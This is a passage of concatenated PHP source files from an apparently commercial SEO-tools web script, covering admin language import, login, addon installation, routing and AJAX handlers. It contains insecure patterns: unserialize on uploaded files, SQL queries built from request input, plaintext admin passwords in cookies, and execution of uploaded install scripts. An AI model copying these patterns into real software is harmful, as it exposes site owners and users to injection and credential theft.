//No Error - Move the file to addon directory if (move_uploaded_file($_FILES["langUpload"]["tmp_name"], $target_file)) { //Language File Path $file_path = $target_dir . $target_filename; $importData = unserialize(base64_decode(gzuncompress(getMyData($file_path)))); $importLangInfo = $importData[0]; $importLangData = $importData[1]; $importLangInfo[2] = strtolower($importLangInfo[2]); if(is_array($importLangInfo) && is_array($importLangData)){ if(!isLangExists($importLangInfo[2],$con)){ addLang(array('2','',$importLangInfo[2],$importLangInfo[3],$importLangInfo[4],$importLangInfo[5],$importLangInfo[6]),$con); $langBalaji = 'lang_'.$importLangInfo[2]; //Update Language Data foreach($importLangData as $langCode=>$langVal){ if($customStr){ $langVal = escapeTrim($con,$langVal); $query = "UPDATE lang SET $langBalaji='$langVal' WHERE code='$langCode'"; mysqli_query($con,$query); }else{ if(!str_contains($langCode,'CS')){ $langVal = escapeTrim($con,$langVal); $query = "UPDATE lang SET $langBalaji='$langVal' WHERE code='$langCode'"; mysqli_query($con,$query); } } } $msg = successMsgAdmin('Language file was successfully imported'); }else{ $msg = errorMsgAdmin('Sorry, language already exist.'); } }else{ $msg = errorMsgAdmin('Language Data Error!'); } //Delete the language file delFile($file_path); } else { $msg = errorMsgAdmin('Sorry, there was an error uploading your file.'); } } } } if($pointOut == 'status'){ $status = false; if($args[0] == 'disable') $status = false; else $status = true; $code = $args[1]; $defaultLang = getLang($con); if($code != $defaultLang){ langStatusChange($code,$status,$con); header('Location:'.adminLink($controller,true)); die(); }else{ $msg = errorMsgAdmin('Sorry, you can\'t able to disable default lang (Change default from here: Interface -> Interface Settings)'); } } if($pointOut == 'delete'){ if(isset($args[0]) && $args[0] != ''){ $code = $args[0]; $defaultLang = getLang($con); if($code != $defaultLang){ removeLang($code,$con); header('Location:'.adminLink($controller,true)); die(); }else{ $msg = errorMsgAdmin('Sorry, you can\'t able to delete default language!'); } } } if($pointOut == 'add'){ $subTitle = 'Create New Language'; if ($_SERVER['REQUEST_METHOD'] == 'POST'){ $language_name = raino_trim($_POST['language_name']); $language_code = strtolower(raino_trim($_POST['language_code'])); if(!isLangExists($language_code,$con)){ $language_author = raino_trim($_POST['language_author']); // $sort_order = raino_trim($_POST['sort_order']); $status = raino_trim($_POST['status']); $text_direction = raino_trim($_POST['direction']); $status = filter_var($status, FILTER_VALIDATE_BOOLEAN); $hreflang = raino_trim($_POST['hreflang']); if($hreflang == '') $hreflang = $language_code; addLang(array('2','',$language_code,$language_name,$language_author,$status,$text_direction,$hreflang),$con); header('Location:'.adminLink($controller.'/edit/'.$language_code,true)); die(); }else{ $msg = errorMsgAdmin('Sorry, language already exist.'); } } } if($pointOut == 'add-custom-text'){ $subTitle = 'Add New Custom String'; $customNumber = getLastID($con,'lang') + 1; $customNumber = 'CS'.$customNumber; if ($_SERVER['REQUEST_METHOD'] == 'POST'){ $csnumber = raino_trim($_POST['csnumber']); $default_string = raino_trim($_POST['default_string']); $query = "INSERT INTO lang (code,default_text) VALUES ('$csnumber','$default_string')"; mysqli_query($con, $query); if($args[0] != '') header('Location:'.adminLink($controller.'/edit/'.$args[0],true)); else header('Location:'.adminLink($controller,true)); die(); } } if($pointOut == 'edit'){ if(isset($_SESSION['callBackMsg'])){ $msg = $_SESSION['callBackMsg']; unset($_SESSION['callBackMsg']); } if ($_SERVER['REQUEST_METHOD'] == 'POST'){ $language_name = escapeTrim($con,$_POST['language_name']); $language_code = strtolower(escapeTrim($con,$_POST['language_code'])); $sort_order = escapeTrim($con,$_POST['sort_order']); $direction = escapeTrim($con,$_POST['direction']); $status = escapeTrim($con,$_POST['status']); $hreflang = escapeTrim($con,$_POST['hreflang']); if($hreflang == '') $hreflang = $language_code; $updateLangArr = array($sort_order,$language_code,$language_name,$status,$direction,$hreflang); $postCount = 1; //Update Language Data foreach($_POST as $langCode=>$langVal){ if($postCount > 5){ $langBalaji = $language_code; $langVal = escapeTrim($con,$langVal); $query = "UPDATE lang SET lang_$langBalaji='$langVal' WHERE id='$langCode'"; mysqli_query($con,$query); } $postCount++; } //Update General Settings $defaultLang = getLang($con); if($language_code != $defaultLang){ langUpdateAll($args[0],$updateLangArr,$con); $msg = successMsgAdmin('Language data updated successfully.'); }else{ if(isSelected($status)) { langUpdateAll($args[0],$updateLangArr,$con); $msg = successMsgAdmin('Language data updated successfully.'); }else{ $msg = errorMsgAdmin('Sorry, you can\'t able to disable default lang (Change default from here: Interface -> Interface Settings)'); } } $_SESSION['callBackMsg'] = $msg; redirectTo(adminLink($controller.'/edit/'.$language_code,true)); } if($args[0] != ''){ $subTitle = strtoupper($args[0]).' - Language Editor'; $langCodes = $langDataArr = array(); $langBalajiCheck = false; $code = 0; $langTable = mysqli_query($con, "SELECT * FROM lang where id='1'"); $langTableRow = mysqli_fetch_array($langTable,MYSQLI_ASSOC); foreach($langTableRow as $langTableCode => $langTableVal){ if($code == 3) $langBalajiCheck = true; if($langBalajiCheck) $langCodes[] = substr($langTableCode, -2); $code++; } if(in_array($args[0],$langCodes)){ $langCodeData = mysqli_query($con, "SELECT id, code, default_text, lang_$args[0] FROM lang"); while($langCodeDataRow = mysqli_fetch_array($langCodeData,MYSQLI_NUM)) { $langDataArr[] = array($langCodeDataRow[0],$langCodeDataRow[1],$langCodeDataRow[2],$langCodeDataRow[3]); } $generalLangSet = getSelectedLang($args[0],$con); }else die('Language code not valid!'); }else header('Location: '.adminLink($controller,true)); }else{ $allLangs = getAllLang($con); }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $remUserName = $remPassword = $remBox = $lock = ''; if(isset($_SESSION[N_APP.'AdminToken'])){ header('Location: '. $adminBaseURL); echo '<meta http-equiv="refresh" content="1;url='.$adminBaseURL.'">'; exit(); } if(isset($_COOKIE[N_APP.'_admin_remember']) && $_COOKIE[N_APP.'_admin_remember'] == 'on') { $remUserName = raino_trim($_COOKIE[N_APP.'_admin_email']); $remPassword = <PASSWORD>_trim($_COOKIE[N_APP.'_admin_password']); $remBox = ' checked="" '; } //Load Image Verifcation extract(loadCapthca($con)); $admin_login_page = filBoolean($admin_login_page); if($admin_login_page){ $cap_type = strtolower($cap_type); $customCapPath = PLG_DIR.'captcha'.DIRECTORY_SEPARATOR.$cap_type.'_cap.php'; define('CAP_GEN',1); define('CAP_VERIFY',1); } if($_SERVER['REQUEST_METHOD'] == 'POST'){ if(isset($_POST['email']) && isset($_POST['password'])){ $emailBox = escapeTrim($con,$_POST['email']); $passwordBox = passwordHash(escapeTrim($con,$_POST['password'])); if(isset($_POST['remember'])){ setcookie(N_APP.'_admin_email', $_POST['email'], time() + (86400 * 300)); setcookie(N_APP.'_admin_password', $_POST['password'], time() + (86400 * 300)); setcookie(N_APP.'_admin_remember', 'on', time() + (86400 * 300)); }else{ setcookie(N_APP.'_admin_remember', 'off', time() + (86400 * 300)); } if($admin_login_page) require LIB_DIR.'verify-verification.php'; if(!isset($error)){ $row = mysqliPreparedQuery($con, "SELECT * FROM admin WHERE user=?",'s',array($emailBox)); if($row !== false) { $adminPssword = Trim($row['pass']); $adminID = Trim($row['id']); if ($adminPssword == $passwordBox) { $admin_login_page = false; $lock = 'disabled="" '; $msg = successMsgAdmin('Login Successful. Redirect to dashboard page wait...'); $_SESSION[N_APP.'AdminToken'] = true; $_SESSION[N_APP.'AdminID'] = $adminID; echo '<meta http-equiv="refresh" content="1;url='.$adminBaseURL.'">'; $remUserName = $remPassword = $remBox = ''; } else { $msg = errorMsgAdmin('Password is Wrong. Try Again!'); } } else { $msg = errorMsgAdmin('Login Failed. Try Again! '); } }else{ $msg = errorMsgAdmin($error); } }else{ $msg = errorMsgAdmin('All fields must be filled in!'); } } if($admin_login_page) require LIB_DIR.'generate-verification.php'; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $activeTheme = getTheme($con); $pageTitle = "Manage Addons"; $subTitle = "Install Add-on"; $fullLayout = 1; $footerAdd = false; $addonDir = ADMIN_DIR.'addons'; //Check Htaccess File //if(!file_exists($addonDir.D_S.'.htaccess')) copy(APP_DIR.'data'.D_S.'htaccessAddon.tdata', $addonDir.D_S.'.htaccess'); $minError = false; if(!class_exists('ZipArchive')){ $minError = true; $minMsg[] = array('ZipArchive Extension','<span class="label label-danger">Not Found</span>'); }else{ $minMsg[] = array('ZipArchive Extension','<span class="label label-success">Found</span>'); } if (is_writable($addonDir)) { $minMsg[] = array('Directory - "<b>/admin/addons</b>"','<span class="label label-success">Writable</span>'); } else { $minError = true; $minMsg[] = array('Directory - "<b>/admin/addons</b>"','<span class="label label-danger">Not Writable</span>'); } //Install Addon if (isset($_POST['addonID'])) { $target_dir = ADMIN_DIR . "addons/"; $target_filename = basename($_FILES["addonUpload"]["name"]); $target_file = $target_dir . $target_filename; $uploadSs = 1; // Check if file already exists if (file_exists($target_file)) { $target_filename = rand(1, 99999) . "_" . $target_filename; $target_file = $target_dir . $target_filename; } $imageFileType = pathinfo($target_file, PATHINFO_EXTENSION); // Check file size if ($_FILES["addonUpload"]["size"] > 999500000){ $msg = errorMsgAdmin('Sorry, your file is too large.'); $uploadSs = 0; } else { // Allow certain file formats if ($imageFileType != "zip" && $imageFileType != "zipx" && $imageFileType != "addonpk") { $msg = errorMsgAdmin('Sorry, only ZIP, ZIPX and ADDONPK files are allowed.'); $uploadSs = 0; } } // Check if $uploads is set to 0 by an error if (!$uploadSs == 0) { //No Error - Move the file to addon directory if (move_uploaded_file($_FILES["addonUpload"]["tmp_name"], $target_file)) { $msg = successMsgAdmin('Adddon was successfully uploaded'); //Package File Path $file_path = $target_dir . $target_filename; //Temporarily extract Addons Data $addon_path = ADMIN_DIR . "addons/" . "ad_" . rand(1000, 999999); extractZip($file_path, $addon_path); //Check Addons Installer is exists if (file_exists($addon_path . "/atozseo.tdata")){ if (file_exists($addon_path . "/install.php")) { //Found - Process Installer require_once ($addon_path . "/install.php"); if($activeTheme != 'default' && $activeTheme != 'simpleX'){ $addonRes.= "Copying Theme Files to $activeTheme<br>"; recurse_copy($addon_path."/theme/default",ROOT_DIR."/theme/$activeTheme"); } }else{ //Not Found $addonRes = "Addons Installer is not detected!"; $addonError = true; $errType = 1; } }else{ //Not Found $addonRes = "Not compatible add-on!"; $addonError = true; $errType = 1; } $addonRes = str_replace(array("<br>","<br/>","<br />"),PHP_EOL,$addonRes); //Delete the Addons Data delDir($addon_path); //Delete the package file delFile($file_path); $controller = "process-addon"; } else{ $msg = errorMsgAdmin('Sorry, there was an error uploading your file.'); } } } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ //Current Date & User IP $date = date('jS F Y'); $ip = getUserIP(); $browser = escapeTrim($con,getUA()); //Application Level DDoS Check $siteInfo = mysqli_query($con, "SELECT other_settings FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); if(filter_var($other['other']['ddos'], FILTER_VALIDATE_BOOLEAN)) ddosCheck($con,$ip); //Theme Settings $theme_path = $adminBaseURL.'theme' . '/' . $admin_theme . '/'; define('THEMEURL', $theme_path); $fullLayout = 0; //Load Language $defaultLang = getLang($con); define('ACTIVE_LANG',$defaultLang); $lang = getLangData($defaultLang,$con); if(isset($_SESSION[N_APP.'AdminToken'])){ $adminID = $_SESSION[N_APP.'AdminID']; $row = mysqliPreparedQuery($con, "SELECT * FROM admin where id=?", 's', array($adminID)); $adminUser = Trim($row['user']); $adminPssword = Trim($row['pass']); $adminName = Trim($row['admin_name']); $adminLogo = Trim($row['admin_logo']); $admin_logo_path = createLink($adminLogo,true); $last_id = getLastID($con,'admin_history'); $row = mysqliPreparedQuery($con, "SELECT * FROM admin_history where id=?", 's', array($last_id)); $last_date = $row['last_date']; $last_ip = $row['ip']; $logAdmin = false; if($last_ip == $ip) { if($last_date != $date) $logAdmin = true; } else $logAdmin = true; if($logAdmin) insertToDbPrepared($con, 'admin_history', array('last_date' => $date,'ip' => $ip,'browser' => $browser)); $controller = $route = $pointOut = null; $args = $custom_route = array(); if(isset($_GET['route'])) { $route = escapeTrim($con,$_GET['route']); $route = explode('/',$route); $controller = $route[0]; if(isset($route[1])) $pointOut = $route[1]; $args = array_slice($route, 2); $argWithPointOut = array_slice($route, 1); if(trim($controller) == '') $controller = 'dashboard'; }else{ $controller = 'dashboard'; } }else{ $controller = 'login'; } //Create Link $baseLink = createLink('',true); $path = ADMIN_CON_DIR . $controller . '.php'; if(file_exists($path)){ require($path); } else { $controller = "error"; require(ADMIN_CON_DIR. $controller . '.php'); } define('VIEW', $controller); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2020 ProThemes.Biz * */ $pageTitle = 'Additional Options'; $subTitle = 'API Setup'; $fullLayout = 1; $footerAdd = false; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { if(isset($_POST['plagiarismSel'])){ $apiLevel = escapeTrim($con, $_POST['apiLevel']); $wordLimit = escapeTrim($con, $_POST['wordLimit']); $minChar = escapeTrim($con, $_POST['minChar']); $query = "UPDATE pr02 SET api_type='$apiLevel', wordLimit='$wordLimit', minChar='$minChar' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) { $msg = '<div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> ' . mysqli_error($con) . ' </div>'; } else { $msg = ' <div class="alert alert-success alert-dismissable"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> Plagiarism checker settings saved successfully </div>'; } } if(isset($_POST['mozSel'])){ $mozAccess = escapeTrim($con, $_POST['mozAccess']); $mozSecret = escapeTrim($con, $_POST['mozSecret']); $query = "UPDATE pr24 SET moz_access_id='$mozAccess', moz_secret_key='$mozSecret' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) { $msg1 = '<div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> ' . mysqli_error($con) . ' </div>'; } else { $msg1 = ' <div class="alert alert-success alert-dismissable"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> Mozrank checker settings saved successfully </div>'; } } } $result = mysqli_query($con, "SELECT api_type,wordLimit,minChar FROM pr02 WHERE id=1"); $row = mysqli_fetch_assoc($result); $apiLevel = Trim($row['api_type']); $wordLimit = Trim($row['wordLimit']); $minChar = Trim($row['minChar']); $result = mysqli_query($con, "SELECT moz_access_id,moz_secret_key FROM pr24 WHERE id=1"); $row = mysqli_fetch_assoc($result); $mozAccess = Trim($row['moz_access_id']); $mozSecret = Trim($row['moz_secret_key']); <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ //AJAX ONLY //POST Request Handler if ($_SERVER['REQUEST_METHOD'] =='POST') { //AJAX Image Verification if($pointOut == 'verification') { //Load Image Verifcation extract(loadCapthca($con)); $cap_type = strtolower($cap_type); $customCapPath = PLG_DIR.'captcha'.DIRECTORY_SEPARATOR.$cap_type.'_cap.php'; define('CAP_VERIFY',1); //Verify image verification. require LIB_DIR.'verify-verification.php'; if(isset($args[0]) && $args[0] == 'get-auth'){ if(!isset($error)){ $secKey = randomChar(9); $_SESSION[N_APP.'sec'.$secKey] = array(1,strtotime("+5 minutes")); echo '1:::'.$secKey; }else echo '0:::0'; }else{ if(!isset($error)) echo '1'; //Verified else echo $error; //Failed Verification } die(); } } //PHP Image Verification if($pointOut == 'phpcap'){ $phpCap = ''; $captcha_config = array(); if(isset($args[0]) && $args[0] != ''){ if($args[0] == 'reload'){ extract(loadCapthca($con)); $phpCap = elite_captcha($color,$mode,$mul,$allowed); $_SESSION[N_APP.'Cap'.$phpCap['page']] = $phpCap; echo $phpCap['image_src'] .':::'. $phpCap['page']; }elseif($args[0] == 'image'){ $captcha_config = unserialize($_SESSION[N_APP.'_CAPTCHA']['config']); if( !$captcha_config ) exit(); unset($_SESSION[N_APP.'_CAPTCHA']); drawPHPCap($captcha_config); } die(); } } //Set Language if($pointOut == 'lang') { $langCode = raino_trim($args[0]); if($langCode != ''){ $_SESSION[N_APP.'UserSelectedLang'] = $langCode; if(isset($_SESSION[N_APP.'LastCallbackLink'])) $goToLink = $_SESSION[N_APP.'LastCallbackLink']; else $goToLink = createLink('',true); header('Location:'.$goToLink,true,301); }else{ echo 'Language code missing!'; } die(); } //Set Theme if($pointOut == 'theme'){ $themeCode = raino_trim($args[0]); if($themeCode == 'unset'){ unset($_SESSION[N_APP.'UserSelectedTheme']); unset($_SESSION[N_APP.'AdminSelectedTheme']); header('Location:'. createLink('',true)); die(); } if($themeCode != ''){ if(isThemeExists($themeCode)){ $_SESSION[N_APP.'UserSelectedTheme'] = $themeCode; header('Location:'. createLink('',true)); }else{ stop('Theme fails to load!'); } }else{ stop('Theme name missing!'); } } //Say Hello if($pointOut == 'hello'){ echo 'Hello'; die(); } //Geo IP Information if($pointOut == 'ip-info'){ header('Content-Type: application/json'); echo getMyGeoInfo($ip, $item_purchase_code, true); die(); } //Account Verification if($pointOut == 'account-verify'){ if(isset($_SESSION[N_APP.'Username'])){ redirectTo(createLink('',true)); die(); } if($args[0] != '' && $args[1] != ''){ $username = raino_trim($args[0]); $code = raino_trim($args[1]); $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE username=?",'s',array($username)); if($row !== false){ //Username found $db_email_id = Trim($row['email_id']); $db_verified = $row['verified']; $ver_code = Md5(HASH_CODE . $db_email_id . HASH_CODE); if ($db_verified == '1'){ die($lang['RF90']); } if ($ver_code == $code){ if(updateToDbPrepared($con, 'users', array('verified' => '1'), array('username' => $username))) { $error = $lang['RF91']; } else{ header("Location: ".createLink('account/login/verification-success',true)); echo '<meta http-equiv="refresh" content="1;url='.createLink('account/login/verification-success',true).'">'; exit(); } } else { die($lang['RF92']); } } else { die($lang['RF48']); } }else{ die($lang['RF48']); } die(); } //Custom AJAX define('AJAX_CUS', true); require CON_DIR.'atoz-ajax.php'; //Master JS Code if($pointOut == 'master-js'){ header('Content-Type: application/javascript'); $tools = $toolsURL = array(); $result = mysqli_query($con, 'SELECT * FROM seo_tools ORDER BY CAST(tool_no AS UNSIGNED) ASC'); while ($row = mysqli_fetch_array($result)){ if(isSelected($row['tool_show'])){ $tools[] = shortCodeFilter($row['tool_name']); $toolsURL[] = createLink($row['tool_url'],true); } } echo 'tools = '. json_encode($tools) .'; toolsURL = '. json_encode($toolsURL).';searchNo = \''. makeJavascriptStr($lang['AS38']) .'\'; keyCheck = \''. makeJavascriptStr($lang['AS37']) .'\'; desCheck = \''. makeJavascriptStr($lang['AS36']) .'\'; titleCheck = \''. makeJavascriptStr($lang['AS35']) .'\'; capRefresh = \''. makeJavascriptStr($lang['AS34']) .'\'; charLeft = \''. makeJavascriptStr($lang['AS33']) .'\'; inputURL = \''. makeJavascriptStr($lang['AS32']) .'\'; inputEm = \''. makeJavascriptStr($lang['AS5']) .'\'; capCodeWrg = \''. makeJavascriptStr($lang['RF4']) .'\'; imageVr = \''. makeJavascriptStr($lang['RF29']) .'\'; emptyStr = \''. makeJavascriptStr($lang['AS31']) .'\'; oopsStr = \''. makeJavascriptStr($lang['RF82']) .'\'; baseUrl = \''. $baseURL .'\'; axPath = \''. createLink('ajax',true) .'\'; var trackLink = \''.createLink('rainbow/track',true).'\'; '.detectAdBlockScript($con); ?> function parseHost(url) { var a=document.createElement('a'); a.href=url; return a.hostname; } jQuery(document).ready(function(){ var screenSize = window.screen.width + 'x' + window.screen.height; var myUrl = window.location.href; var myHost = window.location.hostname; var refUrl = document.referrer; var refHost = parseHost(refUrl); if(myHost == refHost) refUrl = 'Direct'; jQuery.post(trackLink,{page:myUrl,ref:refUrl,screen:screenSize},function(data){ }); if(xdEnabled){ var xdBlockEnabled = false; var testAd = document.createElement('div'); testAd.innerHTML = '&nbsp;'; testAd.className = 'pub_300x250 adsbox'; document.body.appendChild(testAd); window.setTimeout(function() { if (testAd.offsetHeight === 0) { xdBlockEnabled = true; } testAd.remove(); if(xdBlockEnabled){ if(xdOption == 'link'){ window.location = xdData1; }else if(xdOption == 'close'){ $('#xdTitle').html(xdData1); $('#xdContent').html(xdData2); $('#xdBox').modal('show'); }else if(xdOption == 'force'){ $('#xdClose').hide(); $('#xdTitle').html(xdData1); $('#xdContent').html(xdData2); $('#xdBox').modal({ backdrop: 'static', keyboard: false }); $('#xdBox').modal('show'); } } }, 100); } }); <?php die(); } //Only Authenticated Users //Admin Ajax Controller if(isset($_SESSION[N_APP.'AdminToken'])){ //Themes Preview if($pointOut == 'templates'){ $themeDir = raino_trim($args[0]); if(isThemeExists($themeDir)){ unset($_SESSION[N_APP.'UserSelectedTheme']); $_SESSION[N_APP.'AdminSelectedTheme'] = $themeDir; header('Location:'. createLink('',true)); }else{ stop('Theme fails to load!'); } die(); } //User Account Login if($pointOut == 'user-acc'){ if(isset($args[1]) && $args[1] != ''){ $username = $args[1]; $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE username=?",'s',array($username)); if($row !== false){ $db_oauth_uid = $row['oauth_uid']; $db_id = $row['id']; $_SESSION[N_APP.'UserToken'] = passwordHash($db_id . $username); $_SESSION[N_APP.'Token'] = Md5($db_id.$username); $_SESSION[N_APP.'Oauth_uid'] = $db_oauth_uid; $_SESSION[N_APP.'Username'] = $username; //Premium Membership Settings if(file_exists(CON_DIR.'premium.php')){ $subArr = subscriptionCheck($username,$con); if($subArr[0]){ if($subArr[1]){ //Premium Active User $dataPlan = getPlanInfo($subArr[4],$con); if($dataPlan[0]){ //Plan Found $_SESSION[N_APP.'premiumClient'] = 1; $_SESSION[N_APP.'premiumToken'] = array($subArr[2],$subArr[3],$subArr[4],$dataPlan[1],$dataPlan[2],$dataPlan[3],$dataPlan[4],$dataPlan[5],$subArr[6],$dataPlan[6]); }else{ //Plan Not Found! $_SESSION[N_APP.'premiumClient'] = 1; $_SESSION[N_APP.'premiumError'] = $lang['AD735'].' "'.$subArr[5].'" '.$lang['AD736'].' <br> '.str_replace('[contact-link]','<a href="'.createLink('contact',true).'">'.$lang['AD738'].'</a>',$lang['AD737']).'<br>'; } }else{ //Premium Non-Active User $_SESSION[N_APP.'premiumError'] = $lang['AD731'].' <br> '.$lang['AD732'].' '.$subArr[3].' <br> '.$lang['AD733'].' <a href="'.createLink('invoice/'.$subArr[4],true).'">'.$lang['AD734'].'</a>.<br>'; } } } redirectTo(createLink('',true)); die(); } } } } //Script Information if($pointOut == 'phpinfo'){ if(isset($args[0]) && $args[0] != ''){ if(raino_trim($args[0]) == $item_purchase_code) phpinfo(); die(); } } if($pointOut == 'appinfo'){ if(isset($args[0]) && $args[0] != ''){ if(raino_trim($args[0]) == $item_purchase_code){ echo '<table> <tbody> <tr><td>Script Name: </td><td>'. APP_NAME .'</td></tr> <tr><td>Script Version: </td><td>'. VER_NO .'</td></tr> <tr><td>Framework Version: </td><td>'. getFrameworkVersion() .'</td></tr> <tr><td>PHP Version: </td><td>'. phpversion() .' <a href="'.createLink($controller.'/phpinfo/'.$item_purchase_code,true).'" target="_blank">(View PHP Info)</a></td></tr> <tr><td>MySQL Version: </td><td>'. mysqli_get_server_info($con) .'</td></tr> <tr><td>Script Root Dir: </td><td>'. ROOT_DIR .'</td></tr> <tr><td>Base URL: </td><td>'. $baseURL .'</td></tr> <tr><td>Admin Base URL: </td><td>'. adminLink('',true) .'</td></tr> <tr><td>Server IP: </td><td>'. $_SERVER['SERVER_ADDR'] .'</td></tr> <tr><td>Server CPU Usage: </td><td>'. getServerCpuUsage() .'</td></tr> <tr><td>Server Memory Usage: </td><td>'. round(getServerMemoryUsage(),2) .'</td></tr> </tbody> </table>'; } } die(); } //AJAX END die();<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @theme: Default Style * @copyright © 2017 ProThemes.Biz * */ ?> <footer class="footer"> <!-- Widget Area --> <div class="b-widgets"> <div class="container layout"> <div class="row"> <!-- About Us --> <div class="row-item col-md-6"> <h3 class="footer-title"><?php echo $lang['RF107']; ?></h3> <div class="b-twitter m-footer"> <p><?php htmlPrint($themeOptions['contact']['about']); ?></p> </div> <div class="top10"> <a class="ultm ultm-facebook ultm-32 ultm-color-to-gray" href="<?php echo $social_links['face']; ?>" target="_blank" rel="nofollow"></a> <a class="ultm ultm-twitter ultm-32 ultm-color-to-gray" href="<?php echo $social_links['twit']; ?>" target="_blank" rel="nofollow"></a> <a class="ultm ultm-google-plus-1 ultm-32 ultm-color-to-gray" href="<?php echo $social_links['gplus']; ?>" target="_blank" rel="nofollow"></a> </div> </div> <!-- End About Us --> <!-- Tag Cloud --> <div class="row-item col-md-3"> <h3 class="footer-title"><?php echo $lang['314']; ?></h3> <ul class="b-list just-links m-dark"> <?php getTopSEOTools($con, $themeOptions['general']['topTools']); ?> </ul> </div> <!-- End Tag Cloud --> <!-- Links --> <div class="row-item col-md-3"> <h3 class="footer-title"><?php echo $lang['316']; ?></h3> <ul class="b-list just-links m-dark"> <?php foreach($footerLinks as $footerLink) echo $footerLink[1]; ?> </ul> </div> <!-- End Links --> </div> </div> </div> <!-- End Widget Area --> <div class="container"> <div class="row"> <div class="text-center footerCopyright"> <!-- Powered By ProThemes.Biz --> <!-- Contact Us: http://prothemes.biz/index.php?route=information/contact --> <?php echo $copyright; ?> </div> </div> </div> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', '<?php echo $ga; ?>', 'auto'); ga('send', 'pageview'); </script> </footer> <!-- Bootstrap --> <script src="<?php themeLink('js/bootstrap.min.js'); ?>" type="text/javascript"></script> <!-- Sweet Alert --> <script type='text/javascript' src='<?php themeLink('js/sweetalert.min.js'); ?>'></script> <!-- App JS --> <script src="<?php themeLink('js/app.js'); ?>" type="text/javascript"></script> <!-- Master JS --> <script src="<?php createLink('rainbow/master-js'); ?>" type="text/javascript"></script> <!-- Sign in --> <div class="modal fade loginme" id="signin" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button> <h4 class="modal-title"><?php trans('Sign In',$lang['RF57']); ?></h4> </div> <form method="POST" action="<?php createLink('account/login'); ?>" class="loginme-form"> <div class="modal-body"> <div class="alert alert-warning"> <button type="button" class="close dismiss">&times;</button><span></span> </div> <?php if($enable_oauth){ ?> <div class="form-group connect-with"> <div class="info"><?php trans('Sign in using social network',$lang['RF58']); ?></div> <a href="<?php createLink('facebook/login'); ?>" class="connect facebook" title="<?php trans('Sign in using Facebook',$lang['RF59']); ?>"><?php trans('Facebook',$lang['RF62']); ?></a> <a href="<?php createLink('google/login'); ?>" class="connect google" title="<?php trans('Sign in using Google',$lang['RF60']); ?>"><?php trans('Google',$lang['RF63']); ?></a> <a href="<?php createLink('twitter/login'); ?>" class="connect twitter" title="<?php trans('Sign in using Twitter',$lang['RF61']); ?>"><?php trans('Twitter',$lang['RF64']); ?></a> </div> <?php } ?> <div class="info"><?php trans('Sign in with your username',$lang['RF65']); ?></div> <div class="form-group"> <label><?php trans('Username',$lang['RF66']); ?> <br /> <input type="text" name="username" class="form-input width96" /> </label> </div> <div class="form-group"> <label><?php trans('Password',$lang['RF67']); ?> <br /> <input type="<PASSWORD>" name="password" class="form-input width96" /> </label> </div> </div> <div class="modal-footer"> <button type="submit" class="btn btn-primary pull-left"><?php trans('Sign In',$lang['RF57']); ?></button> <div class="pull-right align-right"> <a href="<?php createLink('account/forget'); ?>"><?php trans('Forgot Password',$lang['RF68']); ?></a><br /> <a href="<?php createLink('account/resend'); ?>"><?php trans('Resend Activation Email',$lang['RF69']); ?></a> </div> </div> <input type="hidden" name="signin" value="<?php echo md5($date.$ip); ?>" /> <input type="hidden" name="quick" value="<?php echo md5(randomPassword()); ?>" /> </form> </div> </div> </div> <!-- Sign up --> <div class="modal fade loginme" id="signup" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button> <h4 class="modal-title"><?php trans('Sign Up',$lang['RF70']); ?></h4> </div> <form action="<?php createLink('account/register'); ?>" method="POST" class="loginme-form"> <div class="modal-body"> <div class="alert alert-warning"> <button type="button" class="close dismiss">&times;</button><span></span> </div> <?php if($enable_oauth){ ?> <div class="form-group connect-with"> <div class="info"><?php trans('Sign in using social network',$lang['RF58']); ?></div> <a href="<?php createLink('facebook/login'); ?>" class="connect facebook" title="<?php trans('Sign in using Facebook',$lang['RF59']); ?>"><?php trans('Facebook',$lang['RF62']); ?></a> <a href="<?php createLink('google/login'); ?>" class="connect google" title="<?php trans('Sign in using Google',$lang['RF60']); ?>"><?php trans('Google',$lang['RF63']); ?></a> <a href="<?php createLink('twitter/login'); ?>" class="connect twitter" title="<?php trans('Sign in using 